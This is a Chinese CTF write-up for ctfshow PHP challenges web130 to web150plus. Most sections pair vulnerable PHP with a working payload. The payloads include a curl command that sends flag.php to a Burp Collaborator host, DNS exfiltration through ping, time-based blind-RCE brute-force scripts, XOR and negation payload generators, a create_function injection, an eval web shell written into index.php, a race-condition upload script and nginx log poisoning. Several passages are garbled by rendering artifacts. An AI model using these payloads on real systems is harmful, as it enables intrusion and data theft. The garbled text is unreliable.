欢迎光临
我们一直在努力

ctfshow-web入门-php特性下(web130~web150plus)

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

不能匹配到 ‘ctfshow’,仔细一看:+? 这部分是一个非贪婪模式的匹配,匹配任意单个字符(除了换行符),+ 表示匹配前面的字符一次或多次,? 表示尽可能少地匹配字符,避免匹配过多。换句话说只是要求 ctfshow 前面不能有字符,但是最下面是echo

f

l

a

g

啊,只要让

flag啊,只要让

flag啊,只要让f等于ctfshow不就完了么,我也灭想遍历啊

image-20251216093555894

这里直接测试一下就能发现可以直接过

image-20251216093639892

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

这里既要求 ctfshow 前面不能有字符,且(String)$_POST[‘f’]强制类型,这么想web130还可以使用数组没考虑全面,但又要求得找到字符串 36Dctfshow,这里就要引用一个知识点

PHP利用PCRE回溯次数限制绕过某些安全限制

PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种

贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。

非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。

payload

import requests
url="http://8d902be6-a951-4750-bc06-3efb4b54e559.challenge.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}#大于1000000字节即可
r=requests.post(url,data=data)
print(r.text)

image-20251216125410746

web132

题目描述;为什么会这样?

image-20251216130614886

image-20251216130858648

扫到题目

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

&&和||优先级问题||优先级低于&&,这里前面的博客也提到过,所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

?username=admin&code=admin&password=6666666

补充:第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"

web133(一知半解)

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

限制字符长度考验rce的手法了,这里测试之后发现还是无回显,这道题目有点难到我了 这里跟着jay 17师傅找到原作者wp学到了另一位大师傅的手法ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客

无回显RCE,新操作:利用curl去带出flag.php(这里应该有不少方法)

正常无回显
1.写入文件。经过测试没有写文件权限。
2、dnslog外带 可以
3、http信道 【超级可行】
4、反弹shell bash反弹 无效
5、反弹shell 利用平台 无效

这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag

?F=`$F`;+curl -X POST -F xx=@flag.php http://5ioo8czczmp9vf6shv6j2f15jwpndg15.oastify.com

image-20251216144514340

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

parse_str()函数:把查询字符解析到变量

ectract()函数:从数组中将变量导入当前的符号表

$_SERVER['QUERY_STRING']:查询(query)的字符串

?_POST[key1]=36d&_POST[key2]=36d

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入POST [‘a’]=123

会发现输出的结果为 array (1) { [“a”]=> string (3) “123” }

也就是说现在的$_POST[‘a’]存在并且值为123

里面还有个extract($_POST)

这样的话$a==123

image-20251216151645316

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

作者的非预期:虽然增加了很多过滤但是作者忘记修改写入的权限了

?F=`$F`; nl f*>1.txt

作者payload:

就是用\\ ``' "绕过关键词过滤,dns外带

GET:?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.73ronk.dnslog.cn -c 1

image-20251216153254926

但是我死活都带不出来,而且这里不知道为什么,用mv rename cp命令修改文件名,都没有达到预期效果

这里换成burp的方式,image-20251216181126082

这里发现好像带出来了,用ctfshow{}包裹一下字母转小写就好了

web133和135挣了一天了基本上0v0,emmmmm

web136

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

又是无穷无尽的过滤

exec():执行一个外部程序,类似system() image-20251217225133297

查看发现空白,这里发现cp,mv命令被禁用无法写入但是没有禁用tee

tee命令:tee file1.txt file2.txt //复制文件; ls|tee 1.txt //命令输出

这里发现.也被过滤了但是不影响

?c=ls /|tee 1(访问/1直接下载然后,txt打开)
?c=cat /f149_15_h3r3|tee 2

image-20251217225657969

image-20251217225803564

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);

题目描述:没有难度 //确实,没骗人

echo file_get_contents(“flag.php”);这里就是直接输出flag 只要调用 ctfshow 这个类下的 getFlag 函数

ctfshow=ctfshow::getFlag

在 php 中,-> 用于访问类的实例成员(属性和方法),我们需要先实例化类,然后通过实例对象来调用其成员;而 :: 用于访问类的静态成员(静态属性和静态方法)和常量,静态成员属于类本身,而不是任何具体实例,因此不需要实例化类即可调用它们。

再次补充:

call_user_func 是 PHP 中的一个函数,它用于调用由用户定义的回调函数。这个函数可以调用任何可调用的 PHP 对象,包括函数、方法、闭包等。

call_user_func 的语法如下:

call_user_func(callable

c

a

l

l

b

a

c

k

,

.

.

.

callback, …

callback,args)参数说明:

$callback:要调用的回调函数。这是一个必需参数,可以是一个函数名、方法名、闭包等。

…$args:要传递给回调函数的参数列表。这是一个可选参数,你可以根据需要传递任意数量的参数。

call_user_func 函数会调用 $callback 指定的回调函数,并将传递的参数列表作为回调函数的参数。它会返回回调函数执行的结果

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>1){
die("private function");
}

call_user_func($_POST['ctfshow']);

strripos() 函数用于查找字符串在另一字符串中最后一次出现的位置(不区分大小写),这里相当于就是对提交内容过滤掉了冒号

call_user_func 我们还可以通过数组来传递

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

调用 strripos 时,如果第一个参数是数组,PHP 将会返回 null,因为 strripos 期望第一个参数是字符串类型,所以不会触发 die(“private function”);。

call_user_func($_POST[‘ctfshow’]); 将解析为 call_user_func([‘ctfshow’, ‘getFlag’]);,这将静态调用 ctfshow::getFlag() 方法

web139

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

跟web136一样,tee命令不行了多半是没有写入权限

这里提示给了脚本,应该是采用盲打的一种方式,又学到了一种无回显rce

#这个是查看爆破根目录文件名脚本
import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = "" # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
key = 0 #用于控制内层循环(j)的结束

#不break的情况下,一行最多几个字符
for j in range(1, 99):
if key == 1:
break
for n in str: #n就是一个一个的返回值
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符
#print(payload)
url = "http://cbfd47c8-5240-42ea-b674-c10bac1d89c2.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
except:
result = result + n
print(result)
break
if n == '~': #str的最后一位,“~”不常出现,用作结尾
key = 1
# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
result += " "

#爆破flag
import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
for n in str:
payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
# print(payload)
url = "http://cbfd47c8-5240-42ea-b674-c10bac1d89c2.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n=="~":
result = result + "花括号"

url用http协议

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

要求 f1 和 f2 只能是数字和小写字母,

f

2

(

)

被视为一个函数调用,

f2() 被视为一个函数调用,

f2()被视为一个函数调用,f1 作为函数名调用

f

2

(

)

的返回值,最后进行弱比较,由

c

t

f

s

h

o

w

转换为整数是

0

,因此条件实际上是检查

i

n

t

v

a

l

(

f2() 的返回值,最后进行弱比较,由于 'ctfshow' 转换为整数是 0,因此条件实际上是检查 intval(

f2()的返回值,最后进行弱比较,由ctfshow转换为整数是0,因此条件实际上是检查intval(code) 是否为 0

intval会将非数字字符转换为0,也就是说intval('a')==0 intval('.')==0intval('/')==0

这里附上小元砸师傅的图 image-20251218212723348

根据上表,我们看得出0==‘ctfshow’

再倒推一步,我们使得return $f1($f2());返回0即可

f1=invatl&f2=invatl
f1=usleep&f2=usleep
f1=md5&f2=phpinfo
f1=md5&f2=sleep
f1=md5&f2=md5
f1=current&f2=localeconv
f1=sha1&f2=getcwd 因为/var/www/html md5后开头的数字所以我们改用sha1

例md5(phpversion()) 产生的字符串在 intval 转换后为 0,从而绕过

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

这里试用eval执行,要求 v1 和 v2 是数字,满足preg_match('/^\\W+$/', $v3)即v3没有数字、字母和下划线,且长度大于零,将 $v1 和

v

2

作为操作数,

v2 作为操作数,

v2作为操作数,v3 作为操作符,这里第一想到的就是取反

<?php
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\\r\\n", "\\r", "\\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\\r\\n", "\\r", "\\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

这个是取反脚本但是我的phpstorm版本可能低了,交互面板视图只读

image-20251218224032951

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

image-20251218224156454

这里看见有flag.php,继续取反

image-20251218225056686

image-20251218225118673

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

要求 v1 是数字,之后将 v1乘以 0x36d(即16进制的869)五次,然后将结果转换为整数并赋值给变量 $d, 这里直接学到了sleep(0),沉睡0秒直接包含flag文件

?v1=0 //8进制
?v1=0x0//16进制
?v1=0e666//科学计数法

web143

在 web141 的基础上新增过滤加减、取反、或,我们可以使用乘除号代替加减号,取反、或不能使用我们还可以采用异或运算构造 payload 这里就直接搬用大佬的wp了

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\\+|\\-|\\.|\\_|\\||\\$|\\{|\\}|\\~|\\%|\\&|\\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行之后生成有一个xor_rce.txtimage-20251218230006814

异或脚本

import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\\""+s1+"\\"^\\""+s2+"\\")"
return(output)

while True:
param=action(input("\\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

image-20251218230826280

/?v1=1&v2=1&v3=*("%0C%06%0C%0B%05%0D"^"%7F%7F%7F%7F``")("%0B%01%03%00%06%00"^"%7F`` `*")*

image-20251218230929438

web144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

和上一题差不多检查 $v1 是否是数字,并且

v

3

是否是单个字符(通过调用

c

h

e

c

k

(

v3 是否是单个字符(通过调用 check(

v3是否是单个字符(通过调用check(v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。

那么让中间的 v3 为运算符即可,直接用上一题异或的方法,传参位置不同罢了

?v1=1&v3=-&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")

image-20251218233414794

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\\@|\\!|\\+|\\-|\\.|\\_|\\$|\\}|\\%|\\&|\\;|\\<|\\>|\\*|\\/|\\^|\\#|\\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

这里过滤的是异或,我们采用或、取反都可以,加减乘除都被过滤,可以用位或运算符 |

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1 //三目运算符
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1 //也可以1|(xxx)|2

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\\@|\\!|\\:|\\+|\\-|\\.|\\_|\\$|\\}|\\%|\\&|\\;|\\<|\\>|\\*|\\/|\\^|\\#|\\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

过滤了:,但是可以试用三目运算符

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

首先看这个条件判断,输入的内容不能有字母,数字,下划线,i字母大小写,s匹配所有字符串,D不匹配结尾的换行符

这里只需要让 $ctfshow 里面有其他字符即可满足 if 判断

由于php里默认命名空间是\\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

所以在调用函数时,在前面加一个\\并不影响函数的执行

create_function()代码注入:

用法:create_function(string $args, string $code)

$args:参数列表,用逗号分隔的参数名字符串。 $code:函数体,包含函数的实际代码

$aaa = create_function('$a', 'echo $a."123";');
$aaa('Hello'); // 输出 Hello123

create_function 动态创建一个匿名函数,其中 $a 是参数,‘echo $a.“123”;’ 是函数体,该方法已在 PHP 7.2.0 中弃用

等于

function f($a) {
echo $a . "123";
}

f('Hello'); // 输出 Hello123

create_function 存在注入风险,我们这里先闭合前面的 { ,再注释后面的 },这个原理就类似于SQL注入了,主动闭合+注释多余内容

payload:

?show=}system('ls');//
ctf=\\create_function

//换成/*也可以

image-20251219110345753

web148

include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\\%\\\\|\\~\\'\\,\\.\\:\\@\\&\\*\\+\\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

头痛的过滤,过滤不断加加加加到厌倦,但是没过滤^,直接rce

方法1:

根据前面提供的脚本直接CTRL+C,CTRL+V,复制正则表达式,生成字典跑脚本

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

<?php

//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\\r\\n", "\\r", "\\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\\r\\n", "\\r", "\\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[A-Za-z0-9_\\%\\\\|\\~\\'\\,\\.\\:\\@\\&\\*\\+\\- ]+/');
//1代表模式,后面的是过滤规则

# -*- coding: utf-8 -*-

def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\\"" + s1 + "\\"^\\"" + s2 + "\\")"
return output

while True:
function_input = input("\\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\\n[*] 构造的Payload:", param)

方法二:

又是跟着jay 17师傅学到的中文变量绕过(这里直接搬)

?code=$给特="%60%7B%7B%7B"%5E"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac%20f*

//?code=$给特="{{{"^"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac f*
//"{{{"^"?<>/"; 异或出来的结果是 _GET
//也可以 ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g

image-20251219111629633

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

题目描述:你写的快还是我删的快?

第一反应条件竞争,但是代审的时候发现有简单方法

scandir(‘./’);:扫描当前目录,并返回目录中的文件和文件夹名的数组。 foreach($files as

f

i

l

e

)

.

.

.

:遍历数组中的每一个文件。

i

f

(

i

s

f

i

l

e

(

file) { … }:遍历数组中的每一个文件。 if(is_file(

file):遍历数组中的每一个文件。if(isfile(file)){ … }:检查是否为文件(而不是目录)。 if (

f

i

l

e

!

=

=

"

i

n

d

e

x

.

p

h

p

"

)

.

.

.

:检查文件名是否不是

i

n

d

e

x

.

p

h

p

u

n

l

i

n

k

(

file !== "index.php") { … }:检查文件名是否不是 index.php。 unlink(

file!=="index.php"):检查文件名是否不是index.phpunlink(file);:删除文件

这里有写入函数,直接将一句话木马写进 index.php

?ctf=index.php
show=<?php eval($_GET[1])?>

image-20251219112152149

这里也借鉴一个大师傅的脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://df914802-6804-4772-8c42-d466238f2a3a.challenge.ctf.show/'

def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)

def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()

if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()

for i in range(1, 100):
threading.Thread(target=read).start()

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\\_| |\\[|\\]|\\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

题目描述:对我们以前的内容进行了小结,我们文件上传系列再见!

一点一点看,这里看前面灭有看见include($ctf);的想法大致就是用extract()函数来进行变量的覆盖来满足if(KaTeX parse error: Expected 'EOF', got '&' at position 7: isVIP &̲& strrpos(ctf, “:”)===FALSE)这个条件

,可以用来上传$isVIP=1绕过$isVIP,要求 $ctf 不能有冒号,伪协议就用不上了;

但 include($ctf); 可以进行日志文件包含

image-20251219134357809

抓包看回显知道是nginx

apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。

image-20251219135200930

这里直接抓包上传,回显200

image-20251219135513204

image-20251219141428034

?isVIP=1&oranger=system("tac flag.php"); //GET
ctf=/var/log/nginx/access.log //POST

web150plus

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\\_| |\\[|\\]|\\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

在上一题的基础上不允许日志包含了

变量 …CTFSHOW… 会解析成 CTFSHOW ,因为非法的字符会转成下划线,然后进行了变量覆盖,CTFSHOW 变量被设置为 phpinfo,if(class_exists(KaTeX parse error: Expected group after '_' at position 1: _̲_CTFSHOW__)) 会检…CTFSHOW 被设置为 phpinfo,所以 if(class_exists(‘phpinfo’)) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( CTFSHOW)时,PHP 会调用 __autoload 函数,__autoload(‘phpinfo’); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数,使用?..CTFSHOW…=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

?..CTFSHOW..=phpinfo

还有的方法这里就直接搬用jay 17师傅的wp,这里直接搬用了

临时文件包含补充:

临时文件包含

我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx 文件包含,能否包含一个 /???/???[@-[]] 答案是:不行 文件包含,不支持通配符 !

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去 默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点: 1 在php脚本运行过程中,包含临时文件 2 在脚本运行过程中,得到完整的临时文件名称

假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含

验证原理步骤: 1.先准备upload.html脚本,部署在自己的vps上面 2.phpinfo.php中有语句phpinfo(); include

F

I

L

E

S

[

f

i

l

e

]

[

t

m

p

n

a

m

e

]

;

3.

u

p

l

o

a

d

.

h

t

m

l

脚本强制上传文件到

p

h

p

i

n

f

o

.

p

h

p

4.

自动跳转到什么什么

/

p

h

p

i

n

f

o

.

p

h

p

5.

因为脚本执行时,有临时文件,同时又

p

h

p

i

n

f

o

(

)

;

了,所以

p

h

p

i

n

f

o

中又临时文件(内容为上传的文件)路径,在

_FILES['file'][tmp_name]; 3.upload.html脚本强制上传文件到phpinfo.php 4.自动跳转到什么什么/phpinfo.php 5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在

FILES[file][tmpname];3.upload.html脚本强制上传文件到phpinfo.php4.自动跳转到什么什么/phpinfo.php5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在_FILES[‘file’]==>[tmp_name]中 6.由于include $_FILES[‘file’][tmp_name]; 语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。

但是现实中不会出现语句include $_FILES[‘file’][tmp_name]; 我们不知道临时文件的名字。 php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的 一次发4096个字符,没凑够4096个字符不发送。 如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回, 这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕 临时文件还存在,能包含。这就是原理

upload.html:

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >

<input name="file" type="file" />
<input type="submit" type="gogogo!" />

</form>

pinfo

